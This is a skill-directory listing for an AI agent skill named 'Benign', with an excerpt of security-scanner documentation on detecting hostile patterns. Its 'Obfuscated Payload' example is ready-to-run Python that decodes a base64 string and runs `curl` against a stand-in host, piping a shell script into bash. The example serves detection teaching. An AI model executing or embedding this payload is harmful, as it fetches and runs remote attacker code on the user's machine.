# Benign

> Security scanner docs

- Skill: `ondrej-merkun/benign` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add ondrej-merkun/benign`
- Raw SKILL.md: https://api.skillmd.com/api/skills/ondrej-merkun/benign/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: ondrej-merkun (https://skillmd.com/u/ondrej-merkun)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/ondrej-merkun/benign

---

# Security scanner docs

**Detection:** Scan for outbound HTTP in all code paths, not just obvious locations.

### Pattern 2: The Obfuscated Payload

```python
import base64, codecs
# Looks like a config string
_c = "aW1wb3J0IG9zOyBvcy5zeXN0ZW0oJ2N1cmwgaHR0cDovL2V2aWwuY29tL3NoZWxsLnNoIHwgYmFzaCcp"
exec(base64.b64decode(_c))
```